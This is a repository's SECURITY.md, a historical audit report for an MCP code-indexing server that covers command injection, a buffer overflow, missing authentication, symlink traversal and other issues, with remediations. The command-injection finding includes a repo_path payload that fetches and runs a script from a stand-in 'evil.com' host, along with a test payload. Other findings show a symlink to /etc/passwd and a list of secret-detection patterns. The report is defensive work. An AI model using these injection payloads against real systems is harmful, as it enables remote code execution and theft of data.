Skip to content

Security: ngallodev-software/copilot-memory-mcp

Security

SECURITY.md

Security Audit Report

Project: copilot-memory-mcp
Audit Date: 2026-05-05
Scope: Production hardening security audit
Status: HISTORICAL DOCUMENT - See SECURITY_STATUS.md for current posture


NOTE: This document represents the security audit findings from May 5, 2026, at the start of the hardening effort. For the current security status and implemented controls, see SECURITY_STATUS.md. Phases 1-5 of the hardening plan have been completed and merged.


Executive Summary

This report documents security vulnerabilities identified during the copilot-memory-mcp production hardening audit. The codebase was migrated from codebase-memory-mcp (a developer tool) and required security hardening before enterprise deployment.

Critical Findings: 1
High Severity: 3
Medium Severity: 6

Recommendation: Address all critical and high-severity issues before production deployment. Medium-severity issues should be triaged based on deployment model (single-tenant vs. multi-tenant, trusted vs. untrusted repos).


Critical Vulnerabilities

1. Command Injection via Shell Argument Bypass

Severity: CRITICAL
CWE: CWE-78 (OS Command Injection)
CVSS 3.1: 9.8 (Critical)

Affected Files:

  • src/foundation/str_util.c:245-268 (cbm_validate_shell_arg())
  • src/pipeline/pass_githistory.c:217-231 (git command execution)
  • src/mcp/mcp.c:3091-3100, 3334-3376, 3754-3760 (MCP tool handlers)
  • src/watcher/watcher.c:260-264 (file watching)

Description:

The cbm_validate_shell_arg() function is designed to prevent shell metacharacter injection, but only blocks 9 characters:

// Blocked: ' ; | & $ ` \n \r \
// NOT blocked: ( ) < > * ? [ ] { } (space)

Attack Vector:

An attacker controlling the repo_path parameter can execute arbitrary commands:

{
  "method": "index_repository",
  "params": {
    "repo_path": "/tmp/repo(wget http://evil.com/backdoor.sh -O /tmp/x; sh /tmp/x)"
  }
}

When passed to popen() in pass_githistory.c:231:

snprintf(cmd, sizeof(cmd), "cd '%s' && git log ...", repo_path);
popen(cmd, "r");  // Subshell executes: wget ... ; sh /tmp/x

Root Cause: Using popen() with shell string interpolation instead of execve() with argv arrays. Even single-quoted paths are vulnerable to subshell () syntax.

Exploitation Impact:

  • Arbitrary code execution with MCP server privileges
  • Can exfiltrate source code from indexed repos
  • Can pivot to compromise host system

Remediation (Priority: IMMEDIATE):

Option A (Recommended): Use libgit2 API instead of shell commands

// Replace popen("git log ...") with:
git_repository *repo;
git_repository_open(&repo, repo_path);
git_revwalk *walk;
git_revwalk_new(&walk, repo);
// ... (no shell involved)

Option B: Use fork() + execve() with argv array

char *argv[] = {"git", "log", "--format=%H", NULL};
execve("/usr/bin/git", argv, environ);  // No shell parsing

Option C (Partial): Expand validation to block all shell metacharacters

// Add to blocked chars: ( ) < > * ? [ ] { } space
// Still vulnerable to argument injection (e.g., --upload-pack)

Testing: Current product validation must use stdio MCP requests because this fork has no HTTP RPC surface:

printf '%s\n' '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"/tmp/test(id > /tmp/pwned)"}}}' | \
  ./build/c/copilot-memory-mcp
# After fix: should reject or safely handle without executing id

High Severity Vulnerabilities

2. Buffer Overflow in Windows Temp Path Handling

Severity: HIGH
CWE: CWE-120 (Buffer Copy without Checking Size)
CVSS 3.1: 7.8 (High)

Affected Files:

  • src/foundation/compat.c:76, 101

Description:

Two unsafe strcpy() calls copy environment variable data without bounds checking:

char buf[512];
GetEnvironmentVariableA("TEMP", buf, sizeof(buf));
strcpy(tmpl, buf);  // tmpl size unknown, buf may be 512 bytes

Exploitation: Set TEMP to 1024-byte path → stack overflow → control RIP.

Remediation:

// Option A: Use strncpy
strncpy(tmpl, buf, tmpl_size - 1);
tmpl[tmpl_size - 1] = '\0';

// Option B: Return heap-allocated string
char *cbm_mktemp_alloc(void) {
    char buf[512];
    GetEnvironmentVariableA("TEMP", buf, sizeof(buf));
    return strdup(buf);  // Caller frees
}

3. Missing Client Authentication

Severity: HIGH
CWE: CWE-306 (Missing Authentication for Critical Function)
CVSS 3.1: 8.2 (High)

Affected Files:

  • src/mcp/mcp.c (entire MCP server, ~4000 lines)

Description:

The MCP server accepts unauthenticated JSON-RPC 2.0 requests over stdio. Any process on the local system can:

  • Index arbitrary repositories (code execution risk during parsing)
  • Query knowledge graph (information disclosure)
  • Delete project databases
  • Trigger git operations

Attack Scenario:

  1. Compromised browser extension connects to MCP server
  2. Extension sends: {"method": "index_repository", "params": {"repo_path": "/etc"}}
  3. Server indexes /etc configuration files
  4. Extension queries: {"method": "search_graph", "params": {"query": "password"}}
  5. Server leaks secrets from /etc files

Remediation:

Implement bearer token authentication:

// Add to mcp.c
static bool validate_auth_token(const char *token) {
    const char *expected = getenv("CBM_AUTH_TOKEN");
    if (!expected) return false;  // Require token in production
    return strcmp(token, expected) == 0;
}

// In handle_request():
const char *auth = json_get_string(req, "auth_token");
if (!validate_auth_token(auth)) {
    return error_response("unauthorized");
}

Configuration:

# config/copilot-memory.yaml
auth:
  enabled: true
  token_file: /etc/copilot-memory/token  # 256-bit random token
  require_client_id: true

Alternative: Use Unix domain sockets with file permissions (0600) instead of stdio for local-only access control.


4. Resource Exhaustion DoS

Severity: HIGH
CWE: CWE-400 (Uncontrolled Resource Consumption)
CVSS 3.1: 7.5 (High)

Affected Files:

  • src/mcp/mcp.c:1341, 3195 (query result limits)
  • src/cypher/cypher.c (query executor)

Description:

No hard limits on query memory or execution time. A malicious query can:

// Request 1M nodes (100+ GB RAM on large graphs)
MATCH (n) RETURN n LIMIT 1000000

// Exponential path explosion (depth 15 = millions of paths)
trace_path(start="main", end="*", depth=15)

Current Code:

#define MCP_MAX_ROWS 100
// But params.limit can override this to any value

Remediation:

Enforce hard limits:

// Add to cypher.c
#define QUERY_TIMEOUT_SEC 10
#define MAX_RESULT_ROWS 1000
#define MAX_QUERY_MEMORY_MB 1024

// Set alarm before query execution
alarm(QUERY_TIMEOUT_SEC);
result = cbm_cypher_execute(query);
alarm(0);

// Cap result set
if (result->row_count > MAX_RESULT_ROWS) {
    cbm_log_warn("query.limit.exceeded", "rows", result->row_count);
    result->row_count = MAX_RESULT_ROWS;
}

Configuration:

limits:
  memory_mb: 2048
  query_timeout_sec: 10
  max_results: 1000

Medium Severity Vulnerabilities

5. Secret Detection Gaps

Severity: MEDIUM
CWE: CWE-312 (Cleartext Storage of Sensitive Information)

Affected Files:

  • src/pipeline/pass_infrascan.c:264-322

Missing Patterns:

  • GitHub tokens (ghp_, ghs_, ghu_, gho_)
  • Slack tokens (xoxb-, xoxp-, xoxa-)
  • Discord tokens
  • Short API keys (<20 characters)
  • Database URLs with embedded passwords (postgres://user:pass@host/db)
  • High-entropy base64 strings (JWT tokens, session IDs)

Remediation:

Expand regex patterns in pass_infrascan.c:

static const char *SECRET_PATTERNS[] = {
    "AKIA[0-9A-Z]{16}",              // AWS access key
    "ghp_[a-zA-Z0-9]{36}",           // GitHub personal token
    "ghs_[a-zA-Z0-9]{36}",           // GitHub secret
    "ghu_[a-zA-Z0-9]{36}",           // GitHub refresh token
    "xoxb-[0-9]{10,13}-[0-9]{10,13}-[a-zA-Z0-9]{24}", // Slack bot
    "postgres://[^:]+:[^@]{8,}@",    // DB password
    "['\"][a-zA-Z0-9+/]{40,}={0,2}['\"]", // High-entropy base64
    NULL
};

Add entropy-based detection:

bool is_high_entropy(const char *str, size_t len) {
    // Shannon entropy > 4.5 bits/char
    double entropy = calculate_shannon_entropy(str, len);
    return entropy > 4.5 && len >= 20;
}

6. Path Traversal via Symlinks

Severity: MEDIUM
CWE: CWE-59 (Improper Link Resolution)

Affected Files:

  • src/mcp/mcp.c:2382+ (get_code_snippet())

Description:

get_code_snippet() resolves file paths but doesn't detect symlinks pointing outside the project root.

Attack:

cd /project
ln -s /etc/passwd secrets.txt
# Request: get_code_snippet(file_path="secrets.txt")
# Returns: contents of /etc/passwd

Current Code:

char *real_path = realpath(file_path, NULL);
if (strncmp(real_path, project_root, strlen(project_root)) != 0) {
    return error("path_outside_project");
}
// But symlink target may be outside root

Remediation:

Use lstat() to detect symlinks, then resolve and check target:

struct stat st;
if (lstat(file_path, &st) == 0 && S_ISLNK(st.st_mode)) {
    // It's a symlink - resolve and check target
    char target[PATH_MAX];
    ssize_t len = readlink(file_path, target, sizeof(target) - 1);
    if (len > 0) {
        target[len] = '\0';
        char *real_target = realpath(target, NULL);
        if (!real_target || strncmp(real_target, project_root, strlen(project_root)) != 0) {
            return error("symlink_outside_project");
        }
    }
}

Alternative: Use O_NOFOLLOW flag with openat() to reject symlinks entirely.


7. Information Disclosure in Error Messages

Severity: MEDIUM
CWE: CWE-209 (Generation of Error Message Containing Sensitive Information)

Affected Files:

  • src/mcp/mcp.c (various error handling)
  • src/store/store.c (SQLite errors)

Examples:

// Leaks system details
return error_response("sqlite_open_failed", strerror(errno));

// Leaks directory structure
return error_response("file_not_found", real_path);

// Enumerates all indexed projects
return error_response("project_not_found", list_all_projects());

Remediation:

Separate internal logs from client errors:

// Log detailed error server-side
cbm_log_error("sqlite.open.failed", "path", db_path, "errno", errno, "msg", strerror(errno));

// Return generic error to client
return error_response("database_unavailable", NULL);

Configuration:

logging:
  detailed_errors: false  # Production: log only, don't return to client
  audit_file: /var/log/copilot-memory/audit.jsonl

8. Cypher Parser Input Validation

Severity: MEDIUM
CWE: CWE-20 (Improper Input Validation)

Affected Files:

  • src/cypher/cypher.c (~2500 lines of manual parsing)

Risks:

The Cypher parser is a complex recursive-descent parser with manual memory management. Potential vulnerabilities:

  1. Unbounded recursion: Nested expressions can overflow stack
  2. Integer overflow: Array size calculations (num_nodes * sizeof(node))
  3. Use-after-free: Complex cleanup paths in error handling

Remediation:

  1. Fuzz testing: Use AFL or libFuzzer to generate malformed queries

    afl-fuzz -i testcases/ -o findings/ ./copilot-memory-mcp
  2. Add recursion limit:

    #define MAX_EXPR_DEPTH 50
    static int parse_depth = 0;
    
    node_t *parse_expr(void) {
        if (++parse_depth > MAX_EXPR_DEPTH) {
            return error("expression_too_deep");
        }
        // ... parse logic
        parse_depth--;
    }
  3. Safe integer arithmetic:

    // Use __builtin_mul_overflow or similar
    size_t total_size;
    if (__builtin_mul_overflow(num_nodes, sizeof(node_t), &total_size)) {
        return error("allocation_overflow");
    }

9. Temp File Race Condition

Severity: MEDIUM
CWE: CWE-377 (Insecure Temporary File)

Affected Files:

  • src/mcp/mcp.c:3103-3116 (grep pattern file creation)

Description:

Grep patterns are written to /tmp/cbm_grep_<pid>.pat without using mkstemp(), creating TOCTOU window.

Current Code:

char pat_file[256];
snprintf(pat_file, sizeof(pat_file), "/tmp/cbm_grep_%d.pat", getpid());
FILE *f = fopen(pat_file, "w");  // World-readable by default
fprintf(f, "%s\n", pattern);
fclose(f);
// TOCTOU: attacker replaces file here
system("grep -f /tmp/cbm_grep_%d.pat ...", getpid());

Remediation:

Option A: Use mkstemp() with secure permissions

char pat_file[] = "/tmp/cbm_grep_XXXXXX";
int fd = mkstemp(pat_file);  // Creates with 0600 perms
if (fd < 0) return error("temp_file_failed");
FILE *f = fdopen(fd, "w");
fprintf(f, "%s\n", pattern);
fclose(f);

Option B: Pass pattern inline (no temp file)

// Use grep -e instead of -f
snprintf(cmd, sizeof(cmd), "grep -e '%s' %s", pattern, file);

10. Dependency Version Policy

Severity: MEDIUM
CWE: CWE-1104 (Use of Unmaintained Third Party Components)

Current Versions:

  • sqlite3: 3.51.3 (2024-12-06) ✓ Current
  • yyjson: 0.12.0 (2024) ✓ Recent
  • lz4: Unknown (check vendored/)
  • zstd: Unknown (check vendored/)
  • mimalloc: Unknown (check vendored/)
  • tree-sitter: Unknown (check internal/cbm/vendored/)

Remediation:

  1. Document versions in DEPENDENCIES.md:

    | Dependency | Version | Date | CVEs | Update Policy |
    |---|---|---|---|---|
    | sqlite3 | 3.51.3 | 2024-12-06 | None known | Update quarterly |
    | yyjson | 0.12.0 | 2024 | None known | Update annually |
  2. Automate CVE scanning:

    # Add to CI/CD pipeline
    cargo install cargo-audit
    cargo audit --file Cargo.lock --json | jq '.vulnerabilities'
  3. Update policy: Check for updates quarterly, prioritize security patches.


Production Hardening Checklist

Before deploying to production:

Critical Priority

  • Replace popen() git calls with libgit2 API (Issue #1)
  • Implement bearer token authentication (Issue #3)
  • Add query timeout + memory limits (Issue #4)

High Priority

  • Fix Windows strcpy() buffer overflow (Issue #2)
  • Expand secret detection patterns (Issue #5)
  • Canonicalize paths, detect symlinks (Issue #6)

Medium Priority

  • Sanitize error messages (log details, return generic) (Issue #7)
  • Fuzz test Cypher parser (Issue #8)
  • Use mkstemp() for temp files (Issue #9)
  • Document dependency versions (Issue #10)

Additional Hardening

  • Enable AddressSanitizer (ASAN) in test builds
  • Run Valgrind on MCP tool test suite
  • Configure seccomp sandbox on Linux
  • Add audit logging (who/what/when for all MCP tools)
  • Implement rate limiting per client
  • Set up automated security scanning (Snyk, Dependabot)

Threat Model

Deployment Scenarios

  1. Single-Tenant Trusted (Developer Workstation)

    • Risk: LOW - user controls repos, single client
    • Priority: Address critical issues only
  2. Single-Tenant Untrusted (CI/CD Pipeline)

    • Risk: MEDIUM - repos may contain malicious code
    • Priority: Address critical + high issues
  3. Multi-Tenant Enterprise (Shared Service)

    • Risk: HIGH - multiple clients, untrusted repos, data isolation required
    • Priority: Address ALL issues + add multi-tenancy support

Attack Surface

Entry Points:

  • MCP JSON-RPC over stdio (unauthenticated)
  • Repository paths passed to indexing
  • Cypher queries from clients
  • File paths in get_code_snippet()

Trust Boundaries:

  • Between MCP client (IDE) and server
  • Between MCP server and git repositories
  • Between tree-sitter parsers and source files

Assets:

  • Source code in indexed repositories
  • Knowledge graph data (SQLite databases)
  • Secrets potentially embedded in code
  • System credentials accessible to MCP server process

Compliance Considerations

For SOC2, PCI-DSS, or FedRAMP compliance:

  1. Access Control (AC-3): Implement authentication + authorization
  2. Audit Logging (AU-2): Log all MCP tool invocations with timestamps
  3. Vulnerability Management (SI-2): Document patch policy, scan dependencies
  4. Input Validation (SI-10): Fix command injection, path traversal
  5. Data Protection (SC-28): Encrypt SQLite databases at rest (optional)

Disclosure Policy

To report security vulnerabilities:

  1. Email: security@[your-company].com
  2. PGP Key: [fingerprint]
  3. Response SLA: 48 hours acknowledgment, 90 days disclosure

Do not open public issues for security vulnerabilities.


References


End of Report

There aren't any published security advisories